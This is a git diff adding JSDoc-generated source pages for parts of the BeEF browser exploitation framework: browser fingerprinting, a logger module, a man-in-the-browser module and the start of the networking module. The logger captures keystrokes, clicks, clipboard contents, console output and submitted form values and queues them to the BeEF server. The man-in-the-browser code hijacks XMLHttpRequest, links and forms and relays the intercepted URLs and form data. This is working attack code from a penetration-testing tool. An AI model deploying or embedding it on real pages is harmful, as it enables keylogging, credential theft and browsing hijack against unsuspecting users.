+      // Correct build number for numeric comparison.
+      // (e.g. "532.5" becomes "532.05")
+      data = [parseFloat(data.replace(/\.(\d)$/, '.0$1')), data];
+      // Nightly builds are postfixed with a "+".
+      if (name == 'Safari' && data[1].slice(-1) == '+') {
+        name = 'WebKit Nightly';
+        prerelease = 'alpha';
+        version = data[1].slice(0, -1);
+      }
+      // Clear incorrect browser versions.
+      else if (version == data[1] ||
+          version == (data[2] = (/\bSafari\/([\d.]+\+?)/i.exec(ua) || 0)[1])) {
+        version = null;
+      }
+      // Use the full Chrome version when available.
+      data[1] = (/\bChrome\/([\d.]+)/i.exec(ua) || 0)[1];
+      // Detect Blink layout engine.
+      if (data[0] == 537.36 && data[2] == 537.36 && parseFloat(data[1]) >= 28 && layout == 'WebKit') {
+        layout = ['Blink'];
+      }
+      // Detect JavaScriptCore.
+      // http://stackoverflow.com/questions/6768474/how-can-i-detect-which-javascript-engine-v8-or-jsc-is-used-at-runtime-in-androi
+      if (!useFeatures || (!likeChrome && !data[1])) {
+        layout && (layout[1] = 'like Safari');
+        data = (data = data[0], data < 400 ? 1 : data < 500 ? 2 : data < 526 ? 3 : data < 533 ? 4 : data < 534 ? '4+' : data < 535 ? 5 : data < 537 ? 6 : data < 538 ? 7 : data < 601 ? 8 : '8');
+      } else {
+        layout && (layout[1] = 'like Chrome');
+        data = data[1] || (data = data[0], data < 530 ? 1 : data < 532 ? 2 : data < 532.05 ? 3 : data < 533 ? 4 : data < 534.03 ? 5 : data < 534.07 ? 6 : data < 534.10 ? 7 : data < 534.13 ? 8 : data < 534.16 ? 9 : data < 534.24 ? 10 : data < 534.30 ? 11 : data < 535.01 ? 12 : data < 535.02 ? '13+' : data < 535.07 ? 15 : data < 535.11 ? 16 : data < 535.19 ? 17 : data < 536.05 ? 18 : data < 536.10 ? 19 : data < 537.01 ? 20 : data < 537.11 ? '21+' : data < 537.13 ? 23 : data < 537.18 ? 24 : data < 537.24 ? 25 : data < 537.36 ? 26 : layout != 'Blink' ? '27' : '28');
+      }
+      // Add the postfix of ".x" or "+" for approximate versions.
+      layout && (layout[1] += ' ' + (data += typeof data == 'number' ? '.x' : /[.+]/.test(data) ? '' : '+'));
+      // Obscure version for some Safari 1-2 releases.
+      if (name == 'Safari' && (!version || parseInt(version) > 45)) {
+        version = data;
+      }
+    }
+    // Detect Opera desktop modes.
+    if (name == 'Opera' &&  (data = /\bzbov|zvav$/.exec(os))) {
+      name += ' ';
+      description.unshift('desktop mode');
+      if (data == 'zvav') {
+        name += 'Mini';
+        version = null;
+      } else {
+        name += 'Mobile';
+      }
+      os = os.replace(RegExp(' *' + data + '$'), '');
+    }
+    // Detect Chrome desktop mode.
+    else if (name == 'Safari' && /\bChrome\b/.exec(layout && layout[1])) {
+      description.unshift('desktop mode');
+      name = 'Chrome Mobile';
+      version = null;
+
+      if (/\bOS X\b/.test(os)) {
+        manufacturer = 'Apple';
+        os = 'iOS 4.3+';
+      } else {
+        os = null;
+      }
+    }
+    // Strip incorrect OS versions.
+    if (version && version.indexOf((data = /[\d.]+$/.exec(os))) == 0 &&
+        ua.indexOf('/' + data + '-') > -1) {
+      os = trim(os.replace(data, ''));
+    }
+    // Add layout engine.
+    if (layout && !/\b(?:Avant|Nook)\b/.test(name) && (
+        /Browser|Lunascape|Maxthon/.test(name) ||
+        name != 'Safari' && /^iOS/.test(os) && /\bSafari\b/.test(layout[1]) ||
+        /^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|Web)/.test(name) && layout[1])) {
+      // Don't add layout details to description if they are falsey.
+      (data = layout[layout.length - 1]) && description.push(data);
+    }
+    // Combine contextual information.
+    if (description.length) {
+      description = ['(' + description.join('; ') + ')'];
+    }
+    // Append manufacturer to description.
+    if (manufacturer && product && product.indexOf(manufacturer) < 0) {
+      description.push('on ' + manufacturer);
+    }
+    // Append product to description.
+    if (product) {
+      description.push((/^on /.test(description[description.length - 1]) ? '' : 'on ') + product);
+    }
+    // Parse the OS into an object.
+    if (os) {
+      data = / ([\d.+]+)$/.exec(os);
+      isSpecialCasedOS = data && os.charAt(os.length - data[0].length - 1) == '/';
+      os = {
+        'architecture': 32,
+        'family': (data && !isSpecialCasedOS) ? os.replace(data[0], '') : os,
+        'version': data ? data[1] : null,
+        'toString': function() {
+          var version = this.version;
+          return this.family + ((version && !isSpecialCasedOS) ? ' ' + version : '') + (this.architecture == 64 ? ' 64-bit' : '');
+        }
+      };
+    }
+    // Add browser/OS architecture.
+    if ((data = /\b(?:AMD|IA|Win|WOW|x86_|x)64\b/i.exec(arch)) && !/\bi686\b/i.test(arch)) {
+      if (os) {
+        os.architecture = 64;
+        os.family = os.family.replace(RegExp(' *' + data), '');
+      }
+      if (
+          name && (/\bWOW64\b/i.test(ua) ||
+          (useFeatures && /\w(?:86|32)$/.test(nav.cpuClass || nav.platform) && !/\bWin64; x64\b/i.test(ua)))
+      ) {
+        description.unshift('32-bit');
+      }
+    }
+    // Chrome 39 and above on OS X is always 64-bit.
+    else if (
+        os && /^OS X/.test(os.family) &&
+        name == 'Chrome' && parseFloat(version) >= 39
+    ) {
+      os.architecture = 64;
+    }
+
+    ua || (ua = null);
+
+    /*------------------------------------------------------------------------*/
+
+    /**
+     * The platform object.
+     *
+     * @memberof platform
+     * @type Object
+     */
+    var platform = {};
+
+    /**
+     * The platform description.
+     *
+     * @memberOf platform
+     * @type string|null
+     */
+    platform.description = ua;
+
+    /**
+     * The name of the browser's layout engine.
+     *
+     * The list of common layout engines include:
+     * "Blink", "EdgeHTML", "Gecko", "Trident" and "WebKit"
+     *
+     * @memberOf platform
+     * @type string|null
+     */
+    platform.layout = layout && layout[0];
+
+    /**
+     * The name of the product's manufacturer.
+     *
+     * The list of manufacturers include:
+     * "Apple", "Archos", "Amazon", "Asus", "Barnes & Noble", "BlackBerry",
+     * "Google", "HP", "HTC", "LG", "Microsoft", "Motorola", "Nintendo",
+     * "Nokia", "Samsung" and "Sony"
+     *
+     * @memberOf platform
+     * @type string|null
+     */
+    platform.manufacturer = manufacturer;
+
+    /**
+     * The name of the browser/environment.
+     *
+     * The list of common browser names include:
+     * "Chrome", "Electron", "Firefox", "Firefox for iOS", "IE",
+     * "Microsoft Edge", "PhantomJS", "Safari", "SeaMonkey", "Silk",
+     * "Opera Mini" and "Opera"
+     *
+     * Mobile versions of some browsers have "Mobile" appended to their name:
+     * eg. "Chrome Mobile", "Firefox Mobile", "IE Mobile" and "Opera Mobile"
+     *
+     * @memberOf platform
+     * @type string|null
+     */
+    platform.name = name;
+
+    /**
+     * The alpha/beta release indicator.
+     *
+     * @memberOf platform
+     * @type string|null
+     */
+    platform.prerelease = prerelease;
+
+    /**
+     * The name of the product hosting the browser.
+     *
+     * The list of common products include:
+     *
+     * "BlackBerry", "Galaxy S4", "Lumia", "iPad", "iPod", "iPhone", "Kindle",
+     * "Kindle Fire", "Nexus", "Nook", "PlayBook", "TouchPad" and "Transformer"
+     *
+     * @memberOf platform
+     * @type string|null
+     */
+    platform.product = product;
+
+    /**
+     * The browser's user agent string.
+     *
+     * @memberOf platform
+     * @type string|null
+     */
+    platform.ua = ua;
+
+    /**
+     * The browser/environment version.
+     *
+     * @memberOf platform
+     * @type string|null
+     */
+    platform.version = name && version;
+
+    /**
+     * The name of the operating system.
+     *
+     * @memberOf platform
+     * @type Object
+     */
+    platform.os = os || {
+
+      /**
+       * The CPU architecture the OS is built for.
+       *
+       * @memberOf platform.os
+       * @type number|null
+       */
+      'architecture': null,
+
+      /**
+       * The family of the OS.
+       *
+       * Common values include:
+       * "Windows", "Windows Server 2008 R2 / 7", "Windows Server 2008 / Vista",
+       * "Windows XP", "OS X", "Ubuntu", "Debian", "Fedora", "Red Hat", "SuSE",
+       * "Android", "iOS" and "Windows Phone"
+       *
+       * @memberOf platform.os
+       * @type string|null
+       */
+      'family': null,
+
+      /**
+       * The version of the OS.
+       *
+       * @memberOf platform.os
+       * @type string|null
+       */
+      'version': null,
+
+      /**
+       * Returns the OS string.
+       *
+       * @memberOf platform.os
+       * @returns {string} The OS string.
+       */
+      'toString': function() { return 'null'; }
+    };
+
+    platform.parse = parse;
+    platform.toString = toStringPlatform;
+
+    if (platform.version) {
+      description.unshift(version);
+    }
+    if (platform.name) {
+      description.unshift(name);
+    }
+    if (os && name && !(os == String(os).split(' ')[0] && (os == name.split(' ')[0] || product))) {
+      description.push(product ? '(' + os + ')' : 'on ' + os);
+    }
+    if (description.length) {
+      platform.description = description.join(' ');
+    }
+    return platform;
+  }
+
+  /*--------------------------------------------------------------------------*/
+
+  // Export platform.
+  var platform = parse();
+
+  // Some AMD build optimizers, like r.js, check for condition patterns like the following:
+  if (typeof define == 'function' && typeof define.amd == 'object' && define.amd) {
+    // Expose platform on the global object to prevent errors when platform is
+    // loaded by a script tag in the presence of an AMD loader.
+    // See http://requirejs.org/docs/errors.html#mismatch for more details.
+    root.platform = platform;
+
+    // Define as an anonymous module so platform can be aliased through path mapping.
+    define(function() {
+      return platform;
+    });
+  }
+  // Check for `exports` after `define` in case a build optimizer adds an `exports` object.
+  else if (freeExports && freeModule) {
+    // Export for CommonJS support.
+    forOwn(platform, function(value, key) {
+      freeExports[key] = value;
+    });
+  }
+  else {
+    // Export to the global object.
+    root.platform = platform;
+  }
+}.call(this));
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/logger.js.html b/docs/logger.js.html new file mode 100644 index 000000000..e16975531 --- /dev/null +++ b/docs/logger.js.html @@ -0,0 +1,412 @@ + + + + + JSDoc: Source: logger.js + + + + + + + + + + +
+ +

Source: logger.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides logging capabilities.
+ * @namespace beef.logger
+ */
+beef.logger = {
+	
+	running: false,
+    /**
+    * Internal logger id
+    */
+    id: 0,
+	/**
+	 * Holds events created by user, to be sent back to BeEF
+	 */
+	events: [],
+	/**
+	 * Holds current stream of key presses
+	 */
+	stream: [],
+	/**
+	 * Contains current target of key presses
+	 */
+	target: null,
+	/**
+	 * Holds the time the logger was started
+	 */
+	time: null,
+    /**
+    * Holds the event details to be sent to BeEF
+    */
+    e: function() {
+        this.id = beef.logger.get_id();
+        this.time = beef.logger.get_timestamp();
+        this.type = null;
+        this.x = 0;
+        this.y = 0;
+        this.target = null;
+        this.data = null;
+        this.mods = null;
+    },
+    /**
+     * Prevents from recursive event handling on form submission
+     */
+    in_submit: false,
+	
+	/**
+	 * Starts the logger
+	 */
+	start: function() {
+
+		beef.browser.hookChildFrames();
+		this.running = true;
+		var d = new Date();
+		this.time = d.getTime();
+
+        $j(document).off('keypress');
+        $j(document).off('click');
+        $j(window).off('focus');
+        $j(window).off('blur');
+        $j('form').off('submit');
+        $j(document.body).off('copy');
+        $j(document.body).off('cut');
+        $j(document.body).off('paste');
+
+        if (!!window.console && typeof window.console == "object") {
+          try {
+            var oldInfo = window.console.info;
+            console.info = function (message) {
+              beef.logger.console('info', message);
+              oldInfo.apply(console, arguments);
+            };
+            var oldLog = window.console.log;
+            console.log = function (message) {
+              beef.logger.console('log', message);
+              oldLog.apply(console, arguments);
+            };
+            var oldWarn = window.console.warn;
+            console.warn = function (message) {
+              beef.logger.console('warn', message);
+              oldWarn.apply(console, arguments);
+            };
+            var oldDebug = window.console.debug;
+            console.debug = function (message) {
+              beef.logger.console('debug', message);
+              oldDebug.apply(console, arguments);
+            };
+            var oldError = window.console.error;
+            console.error = function (message) {
+              beef.logger.console('error', message);
+              oldError.apply(console, arguments);
+            };
+         } catch(e) {}
+       }
+
+		$j(document).keypress(
+			function(e) { beef.logger.keypress(e); }
+		).click(
+			function(e) { beef.logger.click(e); }
+		);
+		$j(window).focus(
+			function(e) { beef.logger.win_focus(e); }
+		).blur(
+			function(e) { beef.logger.win_blur(e); }
+		);
+		$j('form').submit(
+			function(e) { 
+                beef.logger.submit(e); 
+            }
+		);
+		$j(document.body).on('copy', function() {
+			setTimeout("beef.logger.copy();", 10);
+		});
+		$j(document.body).on('cut', function() {
+			setTimeout("beef.logger.cut();", 10);
+		});
+		$j(document.body).on('paste', function() {
+			beef.logger.paste();
+		});
+	},
+	
+	/**
+	 * Stops the logger
+	 */
+	stop: function() {
+		this.running = false;
+		clearInterval(this.timer);
+        $j(document).off('keypress');
+        $j(document).off('click');
+        $j(window).off('focus');
+        $j(window).off('blur');
+        $j('form').off('submit');
+        $j(document.body).off('copy');
+        $j(document.body).off('cut');
+        $j(document.body).off('paste');
+        // TODO: reset console
+	},
+
+    /**
+    * Get id
+    */
+    get_id: function() {
+        this.id++;
+        return this.id;
+    },
+
+	/**
+	 * Click function fires when the user clicks the mouse.
+	 */
+	click: function(e) {
+        var c = new beef.logger.e();
+        c.type = 'click';
+        c.x = e.pageX;
+        c.y = e.pageY;
+        c.target = beef.logger.get_dom_identifier(e.target);
+        this.events.push(c);
+	},
+	
+	/**
+	 * Fires when the window element has regained focus
+	 */
+	win_focus: function(e) {
+        var f = new beef.logger.e();
+        f.type = 'focus';
+        this.events.push(f);
+	},
+	
+	/**
+	 * Fires when the window element has lost focus
+	 */
+	win_blur: function(e) {
+        var b = new beef.logger.e();
+        b.type = 'blur';
+		this.events.push(b);
+	},
+	
+	/**
+	 * Keypress function fires everytime a key is pressed.
+	 * @param {Object} e: event object
+	 */
+	keypress: function(e) {
+		if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
+		{
+			beef.logger.push_stream();
+			this.target = e.target;
+		}
+		this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
+	},
+	
+	/**
+	 * Copy function fires when the user copies data to the clipboard.
+	 */
+	copy: function(x) {
+		try {
+			var c = new beef.logger.e();
+			c.type = 'copy';
+			c.data = clipboardData.getData("Text");
+			this.events.push(c);
+		} catch(e) {}
+	},
+
+	/**
+	 * Cut function fires when the user cuts data to the clipboard.
+	 */
+	cut: function() {
+		try {
+			var c = new beef.logger.e();
+			c.type = 'cut';
+			c.data = clipboardData.getData("Text");
+			this.events.push(c);
+		} catch(e) {}
+	},
+
+        /**
+         * Console function fires when data is sent to the browser console.
+         */
+        console: function(type, message) {
+		try {
+			var c = new beef.logger.e();
+			c.type = 'console';
+			c.data = type + ': ' + message;
+			this.events.push(c);
+		} catch(e) {}
+	},
+
+	/**
+	 * Paste function fires when the user pastes data from the clipboard.
+	 */
+	paste: function() {
+		try {
+			var c = new beef.logger.e();
+			c.type = 'paste';
+			c.data = clipboardData.getData("Text");
+			this.events.push(c);
+		} catch(e) {}
+	},
+
+	/**
+	 * Submit function fires whenever a form is submitted
+     * TODO: Cleanup this function
+	 */
+	submit: function(e) {
+        if (beef.logger.in_submit) {
+            return true;
+        }
+		try {
+			var f = new beef.logger.e();
+			f.type = 'submit';
+			f.target = beef.logger.get_dom_identifier(e.target);
+            var jqForms = $j(e.target);
+            var values = jqForms.find('input').map(function() { 
+                    var inp = $j(this);    
+                    return inp.attr('name') + '=' + inp.val(); 
+                }).get().join();
+            beef.debug('submitting form inputs: ' + values);
+            /*
+			for (var i = 0; i < e.target.elements.length; i++) {
+	            values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
+	        }
+            */
+			f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
+			this.events.push(f);
+            this.queue();
+            this.target = null;
+            beef.net.flush(function done() {
+                beef.debug("Submitting the form");
+                beef.logger.in_submit = true;
+                jqForms.submit();
+                beef.logger.in_submit = false;
+                beef.debug("Done submitting");
+            });
+            e.preventDefault();
+            return false;
+		} catch(e) {}
+	},
+	
+	/**
+	 * Pushes the current stream to the events queue
+	 */
+	push_stream: function() {
+		if (this.stream.length > 0)
+		{
+			this.events.push(beef.logger.parse_stream());
+			this.stream = [];
+		}
+	},
+	
+	/**
+	 * Translate DOM Object to a readable string
+	 */
+	get_dom_identifier: function(target) {
+		target = (target == null) ? this.target : target;
+		var id = '';
+		if (target)
+		{
+			id = target.tagName.toLowerCase();
+			id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
+			id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
+		}
+		return id;
+	},
+	
+	/**
+	 * Formats the timestamp
+	 * @return {String} timestamp string
+	 */
+	get_timestamp: function() {
+		var d = new Date();
+		return ((d.getTime() - this.time) / 1000).toFixed(3);
+	},
+	
+	/**
+	 * Parses stream array and creates history string
+	 */
+	parse_stream: function() {
+		var s = '';
+        var mods = '';
+		for (var i in this.stream){
+         try{
+            var mod = this.stream[i]['modifiers'];
+            s += String.fromCharCode(this.stream[i]['char']);
+            if(typeof mod != 'undefined' &&
+                      (mod['alt'] == true ||
+                      mod['ctrl'] == true ||
+                      mod['shift'] == true)){
+                mods += (mod['alt']) ? ' [Alt] ' : '';
+                mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
+                mods += (mod['shift']) ? ' [Shift] ' : '';
+                mods += String.fromCharCode(this.stream[i]['char']);
+            }
+
+         }catch(e){}
+		}
+        var k = new beef.logger.e();
+        k.type = 'keys';
+        k.target = beef.logger.get_dom_identifier();
+        k.data = s;
+        k.mods = mods;
+        return k;
+	},
+	
+	/**
+	 * Queue results to be sent back to framework
+	 */
+	queue: function() {
+		beef.logger.push_stream();
+		if (this.events.length > 0)
+		{
+			beef.net.queue('/event', 0, this.events);
+			this.events = [];
+		}
+	}
+		
+};
+
+beef.regCmp('beef.logger');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/mitb.js.html b/docs/mitb.js.html new file mode 100644 index 000000000..94c58caa0 --- /dev/null +++ b/docs/mitb.js.html @@ -0,0 +1,297 @@ + + + + + JSDoc: Source: mitb.js + + + + + + + + + + +
+ +

Source: mitb.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * @namespace beef.mitb
+ */
+beef.mitb = {
+
+    cid:null,
+    curl:null,
+
+    /** Initializes */ 
+    init:function (cid, curl) {
+        beef.mitb.cid = cid;
+        beef.mitb.curl = curl;
+        /*Override open method to intercept ajax request*/
+        var hook_file = "<%= @hook_file %>";
+
+        if (window.XMLHttpRequest && !(window.ActiveXObject)) {
+
+            beef.mitb.sniff("Method XMLHttpRequest.open override");
+            (function (open) {
+                XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
+                    // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
+                    // or a request initiated by the MiTB itself.
+                    if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
+                        open.call(this, method, url, async, true);
+                    }else {
+                        var portRegex = new RegExp(":[0-9]+");
+                        var portR = portRegex.exec(url);
+                        var requestPort;
+                        if (portR != null) { requestPort = portR[0].split(":")[1]; }
+
+                        //GET request
+                        if (method == "GET") {
+                            //GET request -> cross-origin
+                            if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
+                                beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
+                                window.open(url);
+                            }else { //GET request -> same-origin
+                                beef.mitb.sniff("GET [Ajax Request]: " + url);
+                                if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
+                                    var title = "";
+                                    if (document.getElementsByTagName("title").length == 0) {
+                                        title = document.title;
+                                    } else {
+                                        title = document.getElementsByTagName("title")[0].innerHTML;
+                                    }
+                                    // write the url of the page
+                                    history.pushState({ Be:"EF" }, title, url);
+                                }
+                            }
+                        }else{
+                            //POST request
+                            beef.mitb.sniff("POST ajax request to: " + url);
+                            open.call(this, method, url, async, true);
+                        }
+                    }
+                };
+            })(XMLHttpRequest.prototype.open);
+        }
+    },
+
+    /** Initializes the hook on anchors and forms. */ 
+    hook:function () {
+        beef.onpopstate.push(function (event) {
+            beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
+        });
+        beef.onclose.push(function (event) {
+            beef.mitb.endSession();
+        });
+
+        var anchors = document.getElementsByTagName("a");
+        var forms = document.getElementsByTagName("form");
+        var lis = document.getElementsByTagName("li");
+
+        for (var i = 0; i < anchors.length; i++) {
+            anchors[i].onclick = beef.mitb.poisonAnchor;
+        }
+        for (var i = 0; i < forms.length; i++) {
+            beef.mitb.poisonForm(forms[i]);
+        }
+
+        for (var i = 0; i < lis.length; i++) {
+            if (lis[i].hasAttribute("onclick")) {
+                lis[i].removeAttribute("onclick");
+                /*clear*/
+                lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
+                /*override*/
+
+            }
+        }
+    },
+
+    /** Hooks anchors and prevents them from linking away */
+    poisonAnchor:function (e) {
+        try {
+            e.preventDefault;
+            if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
+                var title = "";
+                if (document.getElementsByTagName("title").length == 0) {
+                    title = document.title;
+                } else {
+                    title = document.getElementsByTagName("title")[0].innerHTML;
+                }
+                history.pushState({ Be:"EF" }, title, e.currentTarget);
+            }
+        } catch (e) {
+            beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
+        }
+        return false;
+    },
+
+    /** Hooks forms and prevents them from linking away */
+    poisonForm:function (form) {
+        form.onsubmit = function (e) {
+
+            // Collect <input> tags.
+            var inputs = form.getElementsByTagName("input");
+            var query = "";
+            for (var i = 0; i < inputs.length; i++) {
+                switch (inputs[i].type) {
+                    case "submit":
+                        break;
+                    default:
+                        query += inputs[i].name + "=" + inputs[i].value + '&';
+                        break;
+                }
+            }
+
+            // Collect selected options from the form.
+            var selects = form.getElementsByTagName("select");
+            for (var i = 0; i < selects.length; i++) {
+                var select = selects[i];
+                query += select.name + "=" + select.options[select.selectedIndex].value + '&';
+            }
+
+            // We should be gathering 'submit' inputs as well, as there are 
+            // applications demanding this parameter.
+            var submit = $j('*[type="submit"]', form);
+            if(submit.length) {
+                // Append name of the submit button/input.
+                query += submit.attr('name') + '=' + submit.attr('value');
+            }
+
+            if(query.slice(-1) == '&') {
+                query = query.slice(0, -1);
+            }
+
+            e.preventdefault;
+            beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
+            history.pushState({ Be:"EF" }, "", form.action);
+            return false;
+        }
+    },
+
+    /** Fetches a hooked form with AJAX */ 
+    fetchForm:function (url, query, target) {
+        try {
+            var y = new XMLHttpRequest();
+            y.open('POST', url, false, true);
+            y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
+            y.onreadystatechange = function () {
+                if (y.readyState == 4 && y.responseText != "") {
+                    target.innerHTML = y.responseText;
+                    setTimeout(beef.mitb.hook, 10);
+                }
+            };
+            y.send(query);
+            beef.mitb.sniff("POST: " + url + "[" + query + "]");
+            return true;
+        } catch (x) {
+            return false;
+        }
+    },
+
+    /** Fetches a hooked link with AJAX */
+    fetch:function (url, target) {
+        try {
+            var y = new XMLHttpRequest();
+            y.open('GET', url, false, true);
+            y.onreadystatechange = function () {
+                if (y.readyState == 4 && y.responseText != "") {
+                    target.innerHTML = y.responseText;
+                    setTimeout(beef.mitb.hook, 10);
+                }
+            };
+            y.send(null);
+            beef.mitb.sniff("GET: " + url);
+            return true;
+        } catch (x) {
+            window.open(url);
+            beef.mitb.sniff("GET [New Window]: " + url);
+            return false;
+        }
+    },
+
+    /** Fetches a window.location=http://domainname.com and setting up history */ 
+    fetchOnclick:function (url) {
+        try {
+            var target = document.getElementsByTagName("html")[0];
+            var y = new XMLHttpRequest();
+            y.open('GET', url, false, true);
+            y.onreadystatechange = function () {
+                if (y.readyState == 4 && y.responseText != "") {
+                    var title = "";
+                    if (document.getElementsByTagName("title").length == 0) {
+                        title = document.title;
+                    }
+                    else {
+                        title = document.getElementsByTagName("title")[0].innerHTML;
+                        }
+                    history.pushState({ Be:"EF" }, title, url);
+                    target.innerHTML = y.responseText;
+                    setTimeout(beef.mitb.hook, 10);
+                }
+            };
+            y.send(null);
+            beef.mitb.sniff("GET: " + url);
+
+        } catch (x) {
+            // the link is cross-origin, so load the resource in a different tab
+            window.open(url);
+            beef.mitb.sniff("GET [New Window]: " + url);
+        }
+    },
+
+    /** Relays an entry to the framework */
+    sniff:function (result) {
+        try {
+            beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
+        } catch (x) {
+        }
+        return true;
+    },
+
+    /** Signals the Framework that the user has lost the hook */
+    endSession:function () {
+        beef.mitb.sniff("Window closed.");
+    }
+};
+
+beef.regCmp('beef.mitb');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/net.js.html b/docs/net.js.html new file mode 100644 index 000000000..ef53085f4 --- /dev/null +++ b/docs/net.js.html @@ -0,0 +1,615 @@ + + + + + JSDoc: Source: net.js + + + + + + + + + + +
+ +

Source: net.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides basic networking functions,
+ * like beef.net.request and beef.net.forgeRequest,
+ * used by BeEF command modules and the Requester extension,
+ * as well as beef.net.send which is used to return commands
+ * to BeEF server-side components.
+ *
+ * Also, it contains the core methods used by the XHR-polling
+ * mechanism (flush, queue)
+ * @namespace beef.net
+ *
+ */
+beef.net = {
+
+    host: "<%= @beef_host %>",
+    port: "<%= @beef_port %>",
+    hook: "<%= @beef_hook %>",
+    httpproto: "<%= @beef_proto %>",
+    handler: '/dh',
+    chop: 500,
+    pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
+    sid_count: 0,
+    cmd_queue: [],
+
+    /**
+     * Command object. This represents the data to be sent back to BeEF,
+     * using the beef.net.send() method.
+     */
+    command: function () {
+        this.cid = null;
+        this.results = null;
+        this.status = null;
+        this.handler = null;
+        this.callback = null;
+    },
+
+    /**
+     * Packet object. A single chunk of data. X packets -> 1 stream
+     */
+    packet: function () {
+        this.id = null;
+        this.data = null;
+    },
+
+    /**
+     * Stream object. Contains X packets, which are command result chunks.
+     */
+    stream: function () {
+        this.id = null;
+        this.packets = [];
+        this.pc = 0;
+        this.get_base_url_length = function () {
+            return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
+        };
+        this.get_packet_data = function () {
+            var p = this.packets.shift();
+            return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
+        };
+    },
+
+    /**
+     * Response Object - used in the beef.net.request callback
+     * NOTE: as we are using async mode, the response object will be empty if returned.
+     * Using sync mode, request obj fields will be populated.
+     */
+    response: function () {
+        this.status_code = null;        // 500, 404, 200, 302
+        this.status_text = null;        // success, timeout, error, ...
+        this.response_body = null;      // "<html>…." if not a cross-origin request
+        this.port_status = null;        // tcp port is open, closed or not http
+        this.was_cross_domain = null;   // true or false
+        this.was_timedout = null;       // the user specified timeout was reached
+        this.duration = null;           // how long it took for the request to complete
+        this.headers = null;            // full response headers
+    },
+
+    /**
+     * Queues the specified command results.
+     * @param {String} handler the server-side handler that will be called
+     * @param {Integer} cid command id
+     * @param {String} results the data to send
+     * @param {Integer} status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
+     * @param {Function} callback the function to call after execution
+     */
+    queue: function (handler, cid, results, status, callback) {
+        if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
+            var s = new beef.net.command();
+            s.cid = cid;
+            s.results = beef.net.clean(results);
+            s.status = status;
+            s.callback = callback;
+            s.handler = handler;
+            this.cmd_queue.push(s);
+        }
+    },
+
+    /**
+     * Queues the current command results and flushes the queue straight away.
+     * NOTE: Always send Browser Fingerprinting results
+     * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
+     * even if WebSockets are enabled.
+     * @param {String} handler the server-side handler that will be called
+     * @param {Integer} cid command id
+     * @param {String} results the data to send
+     * @param {Integer} exec_status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
+     * @param {Function} callback the function to call after execution
+     * @return {Integer} the command module execution status (defaults to 0 - 'unknown' if status is null)
+     */
+    send: function (handler, cid, results, exec_status, callback) {
+        // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
+        var status = 0;
+        if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
+
+        if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
+            this.queue(handler, cid, results, status, callback);
+            this.flush();
+        } else {
+            try {
+                beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
+                    '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
+                    '", "status": "' + exec_status +
+                    '", "callback": "' + callback +
+                    '","bh":"' + beef.session.get_hook_session_id() + '" }');
+            } catch (e) {
+                this.queue(handler, cid, results, status, callback);
+                this.flush();
+            }
+        }
+
+        return status;
+    },
+
+    /**
+     * Flush all currently queued command results to the framework,
+     * chopping the data in chunks ('chunk' method) which will be re-assembled
+     * server-side by the network stack.
+     * NOTE: currently 'flush' is used only with the default
